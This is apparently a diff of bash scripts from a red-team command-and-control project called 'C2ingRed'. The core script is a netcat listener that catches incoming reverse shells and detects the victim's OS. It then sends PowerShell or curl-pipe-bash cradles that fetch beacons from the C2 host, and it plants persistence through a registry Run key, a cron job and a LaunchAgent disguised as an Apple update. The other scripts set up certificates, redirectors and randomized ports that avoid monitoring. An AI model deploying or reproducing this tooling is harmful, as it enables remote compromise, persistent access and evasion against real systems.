C2_PORT=50051 # Sliver default gRPC port
|
||||
WINDOWS_BEACON="/root/Tools/beacons/windows.exe"
|
||||
LINUX_BEACON="/root/Tools/beacons/linux"
|
||||
MACOS_BEACON="/root/Tools/beacons/macos"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Deploy appropriate beacon based on OS
|
||||
deploy_beacon() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying beacon for detected OS: $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Upload Windows beacon using PowerShell download cradle
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Upload Linux beacon using curl
|
||||
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
||||
;;
|
||||
macos)
|
||||
# Upload macOS beacon using curl
|
||||
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Beacon deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy beacon
|
||||
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Beacon deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
@@ -0,0 +1,302 @@
|
||||
#!/bin/bash
|
||||
# post_install_c2.sh - Post-installation setup for C2 server
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# Default settings
|
||||
DEBUG=false
|
||||
RUN_ON_REDIRECTOR=false
|
||||
|
||||
# Show usage information
|
||||
function show_usage() {
|
||||
echo "Usage: $0 [options]"
|
||||
echo ""
|
||||
echo "Options:"
|
||||
echo " -d, --debug Enable debug/verbose output"
|
||||
echo " -r, --run-on-redirector Run post-install script on redirector"
|
||||
echo " -h, --help Show this help message"
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Process command line arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
-d|--debug)
|
||||
DEBUG=true
|
||||
shift
|
||||
;;
|
||||
-r|--run-on-redirector)
|
||||
RUN_ON_REDIRECTOR=true
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
show_usage
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
show_usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Debug function - only prints if DEBUG is true
|
||||
function debug() {
|
||||
if [ "$DEBUG" = true ]; then
|
||||
echo -e "${BLUE}[DEBUG] $1${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
debug "Checking DNS for $domain"
|
||||
debug "Current IP: $current_ip"
|
||||
debug "Resolved IP: $resolved_ip"
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
debug "Domain: $domain, Email: $email"
|
||||
|
||||
# Stop Havoc service temporarily to free port 80
|
||||
systemctl stop havoc 2>/dev/null
|
||||
debug "Stopped Havoc service"
|
||||
|
||||
# Get certificate
|
||||
debug "Running certbot to obtain certificate"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
else
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
cert_result=$?
|
||||
debug "Certbot result code: $cert_result"
|
||||
|
||||
if [ $cert_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
|
||||
# Configure applications to use the certificate if needed
|
||||
if [ -f "/etc/postfix/main.cf" ]; then
|
||||
debug "Updating Postfix configuration with new certificate"
|
||||
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||
fi
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
|
||||
# Restart Havoc
|
||||
debug "Restarting Havoc service"
|
||||
systemctl start havoc
|
||||
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display DKIM/DMARC records
|
||||
show_dns_records() {
|
||||
domain=$1
|
||||
|
||||
debug "Showing DNS records for $domain"
|
||||
|
||||
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: mail._domainkey.$domain"
|
||||
echo -e "Value:"
|
||||
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||
echo -e "\n${GREEN}=================================================${NC}"
|
||||
fi
|
||||
|
||||
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
echo -e "Name: _dmarc.$domain"
|
||||
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||
echo -e "${GREEN}=================================================${NC}"
|
||||
}
|
||||
|
||||
# Function to test redirector connection
|
||||
test_redirector() {
|
||||
# Check if SSH to redirector is configured
|
||||
debug "Testing redirector connection"
|
||||
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
|
||||
else
|
||||
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
ssh_result=$?
|
||||
debug "SSH connection result: $ssh_result"
|
||||
|
||||
if [ $ssh_result -eq 0 ]; then
|
||||
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
|
||||
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Could not connect to redirector.${NC}"
|
||||
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
|
||||
echo -e "If you need to access the redirector, please check deployment logs."
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to synchronize payloads with redirector
|
||||
sync_payloads() {
|
||||
# Check if sync script exists
|
||||
debug "Attempting to synchronize payloads with redirector"
|
||||
|
||||
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
|
||||
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
|
||||
if [ "$DEBUG" = true ]; then
|
||||
/root/Tools/secure_payload_sync.sh
|
||||
else
|
||||
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
|
||||
fi
|
||||
|
||||
sync_result=$?
|
||||
debug "Payload sync result: $sync_result"
|
||||
|
||||
if [ $sync_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Payload synchronization successful${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Payload synchronization failed${NC}"
|
||||
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "\n${YELLOW}Payload sync script not found${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to run redirector post-install script
|
||||
run_redirector_setup() {
|
||||
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
|
||||
debug "Checking if we can connect to redirector"
|
||||
|
||||
# First, test the connection
|
||||
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||
# Check if post_install_redirector.sh exists on the redirector
|
||||
debug "Checking for post_install_redirector.sh on redirector"
|
||||
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
|
||||
|
||||
check_result=$?
|
||||
debug "Script check result: $check_result"
|
||||
|
||||
if [ $check_result -eq 0 ]; then
|
||||
echo -e "${BLUE}Running post-install script on redirector...${NC}"
|
||||
# Pass the debug flag if it's enabled here
|
||||
if [ "$DEBUG" = true ]; then
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
|
||||
else
|
||||
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
|
||||
fi
|
||||
|
||||
redir_setup_result=$?
|
||||
debug "Redirector setup result: $redir_setup_result"
|
||||
|
||||
if [ $redir_setup_result -eq 0 ]; then
|
||||
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Redirector post-installation failed${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}SSH configuration for redirector not found${NC}"
|
||||
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Main execution
|
||||
debug "Starting post-installation process with debug mode: $DEBUG"
|
||||
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
|
||||
|
||||
echo -e "\n${BLUE}Running post-installation checks...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter primary domain: " domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check DNS configuration
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $domain
|
||||
|
||||
# Ask if user wants to set up Let's Encrypt certificates
|
||||
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
|
||||
if [ "$setup_ssl" = "y" ]; then
|
||||
setup_letsencrypt $domain $email
|
||||
fi
|
||||
|
||||
# Show DNS records to configure
|
||||
show_dns_records $domain
|
||||
|
||||
# Test redirector connection
|
||||
test_redirector
|
||||
|
||||
# Ask if user wants to sync payloads
|
||||
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
|
||||
if [ "$sync_payload" = "y" ]; then
|
||||
sync_payloads
|
||||
fi
|
||||
|
||||
# Ask if user wants to run post-install on redirector
|
||||
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
|
||||
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
|
||||
if [ "$run_on_redir" = "y" ]; then
|
||||
run_redirector_setup
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
|
||||
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
|
||||
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
|
||||
@@ -0,0 +1,158 @@
|
||||
#!/bin/bash
|
||||
# post_install_redirector.sh - Post-installation setup for redirector
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Function to check if domain resolves to current IP
|
||||
check_dns() {
|
||||
domain=$1
|
||||
current_ip=$(curl -s ifconfig.me)
|
||||
resolved_ip=$(dig +short $domain)
|
||||
|
||||
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||
echo -e "Current IP: $current_ip"
|
||||
echo -e "Resolved IP: $resolved_ip or not set"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to set up Let's Encrypt
|
||||
setup_letsencrypt() {
|
||||
domain=$1
|
||||
email=$2
|
||||
|
||||
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||
|
||||
# Check if certificate already exists
|
||||
if [ -d "/etc/letsencrypt/live/$domain" ]; then
|
||||
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
|
||||
read -p "Do you want to renew it? (y/n): " renew
|
||||
if [ "$renew" != "y" ]; then
|
||||
echo -e "${YELLOW}Skipping certificate renewal${NC}"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
# Stop nginx if running to free up port 80
|
||||
systemctl stop nginx 2>/dev/null
|
||||
|
||||
# Get certificate
|
||||
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||
return 0
|
||||
else
|
||||
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update NGINX configuration
|
||||
update_nginx_config() {
|
||||
domain=$1
|
||||
|
||||
# Check if NGINX config exists and contains the domain
|
||||
if [ -f "/etc/nginx/sites-available/default" ]; then
|
||||
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
|
||||
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
|
||||
|
||||
# Update SSL certificate paths
|
||||
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
|
||||
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
|
||||
|
||||
echo -e "${GREEN}NGINX configuration updated${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${RED}NGINX configuration file not found${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to start services
|
||||
start_services() {
|
||||
echo -e "\n${BLUE}Starting required services${NC}"
|
||||
|
||||
# Start nginx
|
||||
systemctl start nginx
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}NGINX started successfully${NC}"
|
||||
systemctl enable nginx
|
||||
else
|
||||
echo -e "${RED}Failed to start NGINX${NC}"
|
||||
fi
|
||||
|
||||
# Start shell handler
|
||||
systemctl start shell-handler
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "${GREEN}Shell handler started successfully${NC}"
|
||||
systemctl enable shell-handler
|
||||
else
|
||||
echo -e "${RED}Failed to start shell handler${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to display port information
|
||||
show_port_info() {
|
||||
# Display shell handler port
|
||||
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
|
||||
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
|
||||
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
|
||||
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
|
||||
fi
|
||||
|
||||
# Display nginx listening ports
|
||||
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
|
||||
netstat -tulnp | grep nginx
|
||||
}
|
||||
|
||||
# Main execution
|
||||
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
|
||||
|
||||
# Get domain information
|
||||
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
|
||||
read -p "Enter email for Let's Encrypt: " email
|
||||
|
||||
# Check if DNS is properly configured
|
||||
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
|
||||
check_dns $redirector_domain
|
||||
|
||||
# Confirm proceeding even if DNS check fails
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
|
||||
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
|
||||
read -p "Do you want to proceed anyway? (y/n): " proceed
|
||||
if [ "$proceed" != "y" ]; then
|
||||
echo -e "${RED}Setup aborted.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Set up Let's Encrypt
|
||||
setup_letsencrypt $redirector_domain $email
|
||||
|
||||
# Update NGINX configuration
|
||||
update_nginx_config $redirector_domain
|
||||
|
||||
# Start services
|
||||
start_services
|
||||
|
||||
# Show port information
|
||||
show_port_info
|
||||
|
||||
echo -e "\n${GREEN}Redirector setup complete!${NC}"
|
||||
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
|
||||
@@ -0,0 +1,224 @@
|
||||
#!/bin/bash
|
||||
# randomize_ports.sh - Generate and set random ports for C2 services
|
||||
|
||||
# ANSI color codes
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
RED='\033[0;31m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
echo -e "${BLUE} C2ingRed Port Randomization ${NC}"
|
||||
echo -e "${BLUE}==================================================${NC}"
|
||||
|
||||
# Define port range (avoid well-known and commonly monitored ports)
|
||||
MIN_PORT=10000
|
||||
MAX_PORT=60000
|
||||
|
||||
# Define list of ports to avoid (commonly used services and monitoring tools)
|
||||
AVOID_PORTS=(22 80 443 3389 5985 5986 3306 5432 1433 8080 8443 9090 9091 8008 4444 5555 1234 4321 31337 50051)
|
||||
|
||||
# Function to check if a port is in the avoid list
|
||||
is_port_avoided() {
|
||||
local port=$1
|
||||
for avoid_port in "${AVOID_PORTS[@]}"; do
|
||||
if [ "$port" -eq "$avoid_port" ]; then
|
||||
return 0 # Port should be avoided
|
||||
fi
|
||||
done
|
||||
return 1 # Port is fine to use
|
||||
}
|
||||
|
||||
# Function to check if a port is already in use
|
||||
is_port_in_use() {
|
||||
local port=$1
|
||||
if ss -tuln | grep -q ":$port "; then
|
||||
return 0 # Port is in use
|
||||
fi
|
||||
return 1 # Port is not in use
|
||||
}
|
||||
|
||||
# Function to generate a random port number
|
||||
generate_random_port() {
|
||||
local attempts=0
|
||||
local max_attempts=20
|
||||
local port
|
||||
|
||||
while [ $attempts -lt $max_attempts ]; do
|
||||
port=$((RANDOM % (MAX_PORT - MIN_PORT) + MIN_PORT))
|
||||
|
||||
# Check if port is in avoid list or already in use
|
||||
if ! is_port_avoided $port && ! is_port_in_use $port; then
|
||||
echo $port
|
||||
return 0
|
||||
fi
|
||||
|
||||
attempts=$((attempts + 1))
|
||||
done
|
||||
|
||||
# If we reach here, we couldn't find a suitable port
|
||||
echo "Error: Could not find a suitable random port after $max_attempts attempts" >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
# Generate random ports for different services
|
||||
HTTP_C2_PORT=$(generate_random_port)
|
||||
HTTPS_C2_PORT=$(generate_random_port)
|
||||
MTLS_C2_PORT=$(generate_random_port)
|
||||
SHELL_HANDLER_PORT=$(generate_random_port)
|
||||
BEACON_SERVER_PORT=$(generate_random_port)
|
||||
ADMIN_PORT=$(generate_random_port)
|
||||
|
||||
# Print the generated ports
|
||||
echo -e "\n${GREEN}Generated random ports:${NC}"
|
||||
echo -e "HTTP C2 Port: ${YELLOW}$HTTP_C2_PORT${NC}"
|
||||
echo -e "HTTPS C2 Port: ${YELLOW}$HTTPS_C2_PORT${NC}"
|
||||
echo -e "MTLS C2 Port: ${YELLOW}$MTLS_C2_PORT${NC}"
|
||||
echo -e "Shell Handler Port: ${YELLOW}$SHELL_HANDLER_PORT${NC}"
|
||||
echo -e "Beacon Server Port: ${YELLOW}$BEACON_SERVER_PORT${NC}"
|
||||
echo -e "Admin Port: ${YELLOW}$ADMIN_PORT${NC}"
|
||||
|
||||
# Create a port configuration file
|
||||
PORT_CONFIG="/root/Tools/port_config.json"
|
||||
cat > $PORT_CONFIG << EOF
|
||||
{
|
||||
"http_c2_port": $HTTP_C2_PORT,
|
||||
"https_c2_port": $HTTPS_C2_PORT,
|
||||
"mtls_c2_port": $MTLS_C2_PORT,
|
||||
"shell_handler_port": $SHELL_HANDLER_PORT,
|
||||
"beacon_server_port": $BEACON_SERVER_PORT,
|
||||
"admin_port": $ADMIN_PORT
|
||||
}
|
||||
EOF
|
||||
|
||||
echo -e "\n${GREEN}Port configuration saved to $PORT_CONFIG${NC}"
|
||||
|
||||
# Function to update Sliver configuration
|
||||
update_sliver_config() {
|
||||
local sliver_config="/root/.sliver/configs/daemon.json"
|
||||
|
||||
if [ -f "$sliver_config" ]; then
|
||||
echo -e "\n${BLUE}Updating Sliver daemon configuration...${NC}"
|
||||
cp "$sliver_config" "${sliver_config}.bak"
|
||||
|
||||
# Check if jq is installed
|
||||
if ! command -v jq &> /dev/null; then
|
||||
echo -e "${YELLOW}jq not found, installing...${NC}"
|
||||
apt-get update && apt-get install -y jq
|
||||
fi
|
||||
|
||||
# Update the configuration with jq
|
||||
jq ".daemon_port = $MTLS_C2_PORT | .daemon_http_port = $HTTP_C2_PORT | .daemon_https_port = $HTTPS_C2_PORT" "${sliver_config}.bak" > "$sliver_config"
|
||||
|
||||
echo -e "${GREEN}Sliver configuration updated successfully${NC}"
|
||||
|
||||
# Restart Sliver service
|
||||
echo -e "${BLUE}Restarting Sliver service...${NC}"
|
||||
systemctl restart sliver
|
||||
else
|
||||
echo -e "${YELLOW}Sliver configuration file not found at $sliver_config${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update shell handler configuration
|
||||
update_shell_handler() {
|
||||
local handler_script="/root/Tools/shell-handler/persistent-listener.sh"
|
||||
|
||||
if [ -f "$handler_script" ]; then
|
||||
echo -e "\n${BLUE}Updating shell handler configuration...${NC}"
|
||||
|
||||
# Update the port in the script
|
||||
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$SHELL_HANDLER_PORT/" "$handler_script"
|
||||
|
||||
# Update the service if it exists
|
||||
local service_file="/etc/systemd/system/shell-handler.service"
|
||||
if [ -f "$service_file" ]; then
|
||||
# Add environment variable to service file if not already present
|
||||
if ! grep -q "Environment=\"LISTEN_PORT=" "$service_file"; then
|
||||
sed -i "/\[Service\]/a Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"" "$service_file"
|
||||
else
|
||||
sed -i "s/Environment=\"LISTEN_PORT=.*/Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"/" "$service_file"
|
||||
fi
|
||||
|
||||
# Reload systemd and restart the service
|
||||
systemctl daemon-reload
|
||||
systemctl restart shell-handler
|
||||
fi
|
||||
|
||||
echo -e "${GREEN}Shell handler updated to use port $SHELL_HANDLER_PORT${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Shell handler script not found at $handler_script${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update beacon server configuration
|
||||
update_beacon_server() {
|
||||
local beacon_script="/root/Tools/serve-beacons.sh"
|
||||
|
||||
if [ -f "$beacon_script" ]; then
|
||||
echo -e "\n${BLUE}Updating beacon server configuration...${NC}"
|
||||
|
||||
# Update the port in the script
|
||||
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$BEACON_SERVER_PORT/" "$beacon_script"
|
||||
|
||||
# Restart the beacon server if it's running
|
||||
if pgrep -f "serve-beacons.sh" > /dev/null; then
|
||||
echo -e "${YELLOW}Stopping running beacon server...${NC}"
|
||||
pkill -f "serve-beacons.sh"
|
||||
|
||||
echo -e "${GREEN}Starting beacon server with new port...${NC}"
|
||||
nohup "$beacon_script" > /dev/null 2>&1 &
|
||||
fi
|
||||
|
||||
echo -e "${GREEN}Beacon server updated to use port $BEACON_SERVER_PORT${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Beacon server script not found at $beacon_script${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Function to update NGINX configuration for the redirector
|
||||
update_nginx_redirector() {
|
||||
local nginx_config="/etc/nginx/sites-available/default"
|
||||
|
||||
if [ -f "$nginx_config" ]; then
|
||||
